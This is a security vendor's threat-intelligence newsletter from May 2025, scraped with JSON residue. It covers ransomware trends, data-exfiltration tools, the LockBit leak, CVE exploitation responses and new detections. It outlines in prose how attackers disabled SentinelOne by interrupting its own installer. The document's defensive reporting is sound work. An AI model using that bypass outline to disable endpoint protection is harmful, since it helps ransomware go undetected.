1876,"_1742":1877},[3191,3193,3195],{"_1749":3192},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3194},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3196},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":3199},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":3200},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":3201,"_1704":3202,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":3203,"_1792":3204,"_1783":1890,"_1056":3206,"_1803":1911},[],{},[],{"_1795":3205,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":3207,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":3214,"_1742":1910},[3208,3210,3212],{"_1749":3209},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3211},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3213},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":3216},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":3217},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":3218,"_1056":3219,"_1704":3226,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":3227,"_1792":3228,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":3220,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":3221,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[3222,3224],{"_1749":3223},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3225},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":3229,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1067":3231,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":3234,"_1724":32},"

Welcome to the inaugural edition of the Huntress Adversary Tactics newsletter, meant to arm you with information about threats not only seen by Huntress, but also in the world externally. Since this is our first edition, the cadence may vary as we receive input from various stakeholders. This initial newsletter will also be more verbose than following ones, as we define some terms and workflows that may be unfamiliar to some. In the future, we hope to keep it short and sweet and meaningful.

The hope is that this will ultimately unify us all in our mission to mess up attackers who insist on targeting the most vulnerable population of the technical cyberspace - our customers, partners, and their customers. We welcome your input of what you’d like to see in the future.

",{},{"_1987":3237,"_1724":6},"

","lastUpdatedDate",{"_3240":1370,"_1778":3241,"_134":3138},"assetType","Huntress Adversary Tactics covers May 2025 threats including credential theft via Certutil, ransomware trends across customer environments, and rapid responses to critical CVEs in CrushFTP and Gladinet CentreStack.",{"_1995":3243},[3244,3256,3266,3278,3290],{"_1998":2945,"_21":3245,"_2011":3255,"_2013":2014},[3246,3249,3252],{"_1987":3247,"_47":3248,"_2005":422},"

We’re seeing threat actors carry out credential theft by dumping the Windows Registry with Certutil (as seen in the May incident below). Certutil is a legitimate admin command line tool to view and manage certificates, among other things, but it’s often abused by attackers.

\n\n

$\"\"$

\n","Credential Theft via Certutil",{"_1987":3250,"_47":3251,"_2005":422},"

Threat actors are using a variety of tools for data exfiltration in attacks. Recently, we’ve observed threat actors misusing legitimate backup storage tools, such as MegaSYNC, RClone and BackBlaze. On May 2, for instance, the SOC responded to an incident where the threat actor, after logging in via RDP, attempted to use the legitimate BackBlaze cloud storage platform (along with WinRAR) to target and exfiltrate various file types.

$\"\"$

The Upshot: Threat actors and admins use similar techniques. Huntress Managed EDR looks for suspicious activity, including processes spawning from legitimate programs that are being abused by threat actors.

","Threat Actors’ Use of MegaSYNC, RClone, BackBlaze",{"_1987":3253,"_47":3254,"_2005":422},"

$\"\"$

Looking over past incident reports from January 2025 - May 15, 2025 we are able to paint a picture of the most common ransomware variants that we’ve seen across our customers. Out of the 606 reports that were actually ransomware related, the most common variants were Unknown ransomware variants (not shown in the above chart), making up 58.4% of the number of reports issued this year. While some unknown ransomware reports may have just not been categorized, a sampling of these reports verified that some were, in fact, unknown samples, sometimes even poorly written ones. This seems to prove one of our previous findings from the 2024 Huntress Threat Report that showed that there are newcomers to the ransomware space trying to cut their teeth in perceived “low hanging fruit” environments.

Focusing on known ransomware variants, the most prolific ransomware family was Medusa, making up 26.6% of the number of reports from this year. Dridex malware, which is not ransomware, but ultimately led to ransomware, came in second at 22.6%, followed by Akira at 14.7%, and RansomHub at 12.7%. We also had one report that included a ransomware called Bl00dy, which is known to be used by a threat group named Storm-1305 by Microsoft. We’ve also seen incidents involving DragonForce (6.7%), which has been used by a threat group named Scattered Spider in the recent UK retailer attacks. We’ll discuss this last one a bit more a bit later in this newsletter.

Given the discord and disruption across ransomware actors this year (and discussed in an upcoming section), it will be interesting to see what will happen with ransomware across our customers. It will be interesting to see which threat actors scramble to fill the void that is left in the wake of others’ demise.

","Ransomware Seen Across Our Customers","

One of the workflows that Adversary Tactics has, is to document interesting threats that are surfaced from the SOC via reports. Here are some examples of interesting trends we’ve seen in the last few weeks.

",{"_1998":2037,"_21":3257,"_2011":422,"_2013":2046},[3258,3261,3264],{"_1987":3259,"_47":3260,"_2005":422},"

TL;DR: Attackers were recently observed using a bypass technique that disables SentinelOne so that they can install the Babuk ransomware undetected. SentinelOne now has a workaround for this type of attack, however customers who obtained SentinelOne via CW were left without recourse for a period of time.

The Details: Attackers took advantage of an issue in the upgrade process for SentinelOne’s agent. When installing the agent, the installer deletes Windows processes and overwrites existing files with the new version. Attackers were seen deploying legitimate SentinelOne installer files, letting the installer terminate the existing running processes, and then forcing the Windows installer to terminate before it completed installation, effectively disabling SentinelOne.

The Upshot: While SentinelOne was vulnerable to this type of attack, Huntress most likely is not. We verified with Huntress engineering that as far as how agents are installed, the potential for this type of attack is almost close to nil. The main points as laid out by Rob Noeth, Principal Software Engineer on the Huntress EDR agent are:

\n\n

We don't have a download link for [our installers] anywhere, but it's on our CDN
We don't allow downgrades
Our rio (agent) upgrade rollout is fairly quick, and we don't have [older] versions sitting around
We also have tamper protection enabled in current agents

Caveat: It is theoretically possible that some of our installers may be available on VirusTotal, so we can’t discount this entirely. However, since we don’t allow downgrades, this type of attack should not be as easily successful.

","Breaking down the bring your own Installer attack",{"_1987":3262,"_47":3263,"_2005":422},"

TL;DR: Coinbase, the leading U.S. cryptocurrency exchange, disclosed an insider threat cyberattack that began with an extortion attempt on May 11th, 2025. Cybercriminals bribed overseas customer support agents, primarily in India, to steal personal data from less than 1% of Coinbase’s monthly transacting users (approximately 97,000 accounts, given Coinbase’s stated 9.7 million user base). The compromised data included names, addresses, phone numbers, government-issued IDs, and partial Social Security numbers, but no login credentials, two-factor authentication codes, private keys, or customer funds were accessed. The attackers reportedly used this data for social engineering scams, impersonating Coinbase to trick users into transferring cryptocurrency, and went on to demand a $20 million ransom to suppress the breach.

$\"\"$

The Upshot: Coinbase refused to pay, instead offering a controversial reverse bounty of $20 million reward for information leading to the arrest and conviction of the would-be extortionists. The company estimates remediation costs, including reimbursing affected customers, to range between $180 million and $400 million. Affected users were notified via email on May 15, and since the breach Coinbase implemented enhanced security measures, including relocating some support operations to a new U.S. hub and increasing transaction monitoring.

","Coinbase Pulls Out Uno Reverse Card on Would Be Extortionists",{"_1987":3265,"_47":3101,"_2005":422},"

Ransomware Groups Hacked

TL;DR: In late April or early May 2025, LockBit’s dark web affiliate panels were breached and defaced by an unknown threat actor. The defacement replaced the panels with a mocking message: \"Don’t do crime CRIME IS BAD xoxo from Prague,\" accompanied by a link to a MySQL database dump titled paneldb_dump.zip. The database, analyzed by BleepingComputer, contained 20 tables exposing critical operational details:

btc_addresses Table: Included 59,975 unique Bitcoin addresses, likely used for ransom payments and laundering. This exposed LockBit’s financial infrastructure, potentially aiding law enforcement in tracking transactions.
builds Table: Listed individual ransomware builds created by affiliates, including public encryption keys (but no private keys) and, in some cases, targeted company names, revealing attack specifics.
builds_configurations Table: Detailed build settings, such as instructions to skip certain ESXi servers or encrypt specific files, providing insight into LockBit’s tactical customization.
chats Table: Contained 4,442 negotiation messages between LockBit operators and victims, spanning December 19, 2024, to April 29, 2025. These logs revealed aggressive extortion tactics, with demands ranging from a few thousand to $100,000. These are odd in the sense that LockBit was thought to be running a much more profitable scheme. This has implied that LockBit might be more closely aligned with governmental or state-ran alliances.
users Table: Exposed credentials for 75 admins and affiliates, with plaintext passwords like Weekendlover69 and Lockbitproud231, highlighting poor security practices.

The defacement message matched one used in a recent breach of the Everest ransomware group’s site, suggesting a possible connection, though the attacker’s identity remains unclear.

The Upshot: The 2025 LockBit hack was a critical blow, exposing operational details and undermining the group’s reputation. While it provides law enforcement and victims with valuable tools, LockBit’s history of resilience suggests it may attempt another comeback, potentially with LockBit 4.0. Organizations should prioritize robust cybersecurity practices, such as patching vulnerabilities, securing credentials, and maintaining offline backup to mitigate risks from LockBit and other ransomware infections.

$\"\"$

Hellcat Implosion

TL;DR: Hellcat surfaced in late 2024, quickly gaining notoriety for targeting high-profile organizations, including government agencies, educational institutions, energy sectors, and critical infrastructure. Operating under a RaaS model, Hellcat provided affiliates with ransomware tools and infrastructure in exchange for a share of the profits. The group was known for its sophisticated tactics, psychological manipulation, and aggressive pursuit of media attention.

On May 11, 2025, posts on X reported that Hellcat had ceased operations. The group’s darknet site displayed a \"cryptic farewell\" message, with no active leaks or files remaining, indicating a shutdown. An X post by @ido_cohen2 noted that Hellcat had attacked over 15 companies worldwide before closing. Another post by @ValeryMarchive suggested a possible reason for the disbandment: a leak by \"LB\" (potentially linked to the LockBit ransomware group) revealed that Hellcat affiliates had joined LockBit in January 2025, conducting five attacks under the LockBit brand without securing any ransom payments. This financial failure and exposure may have prompted Hellcat’s closure. A third post by @RFr0sty1 on May 13, 2025, categorized the shutdown as a \"new event\" in cyber threat intelligence, reinforcing the narrative of Hellcat’s cessation.

$\"\"$

The Upshot: Hellcat’s rapid rise and abrupt disbandment in May 2025 reflect the volatile nature of the ransomware landscape especially for 2025. Emerging in mid-2024, the group leveraged advanced TTPs, psychological tactics, and a RaaS model to target high-value organizations, causing significant disruption. Its closure, potentially driven by financial struggles, law enforcement pressure, or affiliate migration to LockBit, marks the end of a notable chapter in cybercrime. However, the group’s tactics and the broader RaaS ecosystem continue to pose challenges, emphasizing the need for proactive cybersecurity defenses. It is to be seen what legacy the group leaves behind in the future.

DragonForce

DragonForce has been in the news recently after the ransomware group claimed responsibility for a slew of attacks on UK retailers like Co-op, Harrods, and Marks and Spencer. We have observed DragonForce ransomware incidents over the past year, where customers’ files were encrypted with the extension .dragonforce_encrypted:

Dec. 2, 2024: The ransomware deployed by the threat actor triggered canary alerts stating that files had been encrypted
Feb. 22, 2025: Threat actors were able to access the endpoints via RDP shortly after connecting via PSExec; threat actors also stole browser credentials (see figure below) and installed a kernel mode driver that resulted in other security services on the victim endpoint (SentinelOne and Webroot) crashing

\n\n

There are currently warnings that similar attacks may shift to retailers in the US and elsewhere.

\n\n\n\n

$\"\"$

\n\n

As we highlighted in the 2025 Cyber Threat Report, more ransomware groups like Hunters International are shifting to attacks that prioritize data theft and extortion, rather than data encryption. Part of the reason for this change by threat actors is to evade EDR protections. The SOC has observed this trend play out in the wild, so it’s important for businesses to make an incident response plan that incorporates extortionware in addition to ransomware.

",{"_1998":2061,"_21":3267,"_2011":3277,"_2013":2070},[3268,3271,3274],{"_1987":3269,"_47":3270,"_2005":422},"

TL;DR: In early April, we saw evidence of exploitation of CrushFTP CVE-2025-31161.

The Details: While we saw a small handful of our customers actually impacted as a result of this software vulnerability, there were more than 100 potentially vulnerable machines across our customers. In all observed incidents, attackers leveraged the vulnerability in order to install RMMs such as MeshAgent and SimpleHelp.

The Upshot: We were more than prepared for this type of threat, and the SOC received alerts for activities surrounding these attacks well before it was reported by media outlets.

","CrushFTP (4 Apr 2025)",{"_1987":3272,"_47":3273,"_2005":422},"

TL;DR: In mid April, we saw evidence of exploitation of a flaw in Gladinet CentreStack and Triofox (CVE-2025-30406).

$\"\"$
$\"\"$
$\"\"$ The Details: Overall, we saw seven different customers that were impacted by exploitation for this vulnerability (with around 120 endpoints running the Gladinet CentreStack software across our partner base). Email notifications were sent to partners to notify them that they should take the necessary patch or mitigation steps.

\n\n\n\n

The Upshot: Not only did we clarify that CVE-2025-30406 also exists in Gladinet Triofox in addition to CentreStack (a fact that had not been widely reported), but we also prepared a PowerShell script so that customers could check if they are vulnerable.

","Gladinet CentreStack (12 Apr 2025)",{"_1987":3275,"_47":3276,"_2005":422},"

TL;DR: In early May, we saw evidence of exploitation of a Samsung MagicINFO 9 Server flaw.

The Details: We saw limited exploitation for the flaw; over 75 different machines had MagicINFO installed across our customer base, but we only saw three separate incidents involving the flaw. Because this vulnerability impacts the latest version of Samsung MagicINFO 9 Server, we urged users to make sure their servers aren’t internet facing, as no patch existed at the time of publication. After publication of the initial Rapid Response, Samsung released a software update fixing the vulnerability (CVE-2025-4632).

The Upshot: We independently verified that the latest version of Samsung MagicINFO 9 Server was vulnerable to a publicly available PoC, despite widespread reports that said otherwise.

$\"\"$

Acknowledgements: We’d like to thank our partners over on the Hunt and Response team, Jai Minton and Craig Sweeney, for handling the bulk of the lift of the initial investigation into the MagicINFO vulnerability, recreating the exploit, and writing the original blog post. It’s a team effort, and together, we win!

","MagicINFO (6 May 2025)","

For the unaffiliated, “Rapid Responses” spin up in the event that there is a vulnerability, or threat that attackers are leveraging in order to further their attacks at scale. When we hear of a potential vulnerability, the Adversary Tactics team collaborates with other teams across Huntress, and sets to work on figuring out the potential impact, and what new and/or novel information we can publish about it. Ultimately, we will also find potentially impacted customers and notify them, as well as publish a blog with all the juicy details to further educate the community. Here are some examples of Rapid Responses that we’ve completed within the last month:

",{"_1998":2048,"_21":3279,"_2011":3289,"_2013":2059},[3280,3283,3286],{"_1987":3281,"_47":3282,"_2005":422},"

AiTM Phishing Detection

Huntress recently added new detections to our EDR product to help identify when users land on phishing sites designed to steal Microsoft 365 credentials—not just passwords, but full authentication tokens.

These are called Adversary-in-the-Middle (AiTM) attacks. Unlike traditional phishing, AiTM campaigns intercept authentication traffic in real-time, stealing session cookies or OAuth tokens to bypass MFA and gain immediate access to Microsoft 365 environments. Huntress EDR can now detect when a user visits AiTM phishing sites, but there’s a catch: EDR alone can’t tell us if the attack was successful.

This is where Huntress ITDR (Identity Threat Detection & Response) steps in. By combining EDR and ITDR, Huntress gains the identity-level visibility needed to confirm whether a session token was compromised—and if so, we take full action on your behalf: revoking active sessions, resetting passwords, and stopping intrusions before attackers escalate access.

Takeaways: If you want Huntress to not only detect these sophisticated phishing attempts, but also fully contain and remediate them, consider deploying ITDR today.

Lateral Movement Detection

Another big win on the horizon for our EDR product is Lateral Movement Detection. This will allow us to quickly pick up on attackers as they start to move from machine to machine within a victim’s environment. This is a huge differentiator - and we’ve already used it to ruin the plans of ransomware actors! The following two pictures show unhindered lateral movement, while the second picture shows alerting on lateral movement as it happens:

\n\n \n \n \n \n \n \n

$\"\"$

If threat actors are still moving around in the environment, it is likely that they are still early in the process of reconnaissance and exfiltration - before more damaging actions have taken place. Anytime we can get an early drop on threat actors, we have a chance to shut down the attack before damage is done.

Tracking Processes Spawned from Malicious Logon Sessions

New as of mid-May is a detection capability that allows us to alert on processes that are created from the same user who logged on from a known malicious workstation name. This gives even better visibility into what threat actors are doing on a machine - meaning we can block their activity even more quickly. As you can see in the figure below, this is an alert of reconnaissance activity that was done as part of a pre-ransomware event:

\n\n\n

$\"\"$

Getting ahead of ransomware actors is always the goal. The sooner we can alert, the less potential damage that the threat actors can do.

","EDR",{"_1987":3284,"_47":3285,"_2005":422},"

New and Improved SIEM Detections

Recently, we've added 46 net-new detections and tuned 17 existing detections for Managed SIEM. By continuously refining our detection logic and proactively hunting for threats, we're able to help our partners and customers benefit from an ever-improving security posture.

","SIEM",{"_1987":3287,"_47":3288,"_2005":422},"

We launched our Rogue Apps capability for ITDR. Most Microsoft 365 environments allow any user to install any app to the tenant by default. Attackers know this all too well, and are taking advantage of this with malicious or compromised OAuth apps, enabling credential theft. With Rogue Apps, we’re flipping the script. You won’t just find out about malicious apps after the damage is done - you can detect and block them from the start. Another huge win for cracking down on attackers!

","ITDR","

We’d like to highlight some killer new capabilities that our partners in Product Research and Product have released to help mess up attackers. We’re excited to use this data as we continue to arm our customers against threat actors.

",{"_1998":2072,"_21":3291,"_2011":422,"_2013":2080},[3292,3294],{"_1987":3293,"_47":515,"_2005":422},"\n \n \n \n \n \n \n

$\"\"$

May 2025’s Tradecraft Tuesday covered infostealers, which is a threat currently plaguing the world. What was once considered a minor annoyance has now grown into a full fledged threat, enabling credential theft and identity-based attacks, and setting the stage for future attacks.

In addition to the overall view of various infostealer families, this episode also included relevant tradecraft that was exposed by reports from our SOC, much to the delight of the audience.

",{"_1987":3295,"_47":3296,"_2005":422},"

The Adversary Tactics team lead the collaboration efforts between Huntress and the yearly Verizon DBIR Report. Huntress is uniquely positioned to have insight into threats that are actually plaguing smaller businesses, like no other company currently in the industry. Verizon was eager to collaborate, and were able to incorporate our findings into their report, and they hope to have further collaboration in the future.

\n\n

$\"\"$

","Verizon DBIR","Thu May 01 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"may-2025",{"_1724":32},"priceData","usingGraphite","relatedResources",{"_3305":3306,"_3303":3307,"_3308":3309},"dataSource","Builder",[],"additionalResources",[],"actionData","errors"]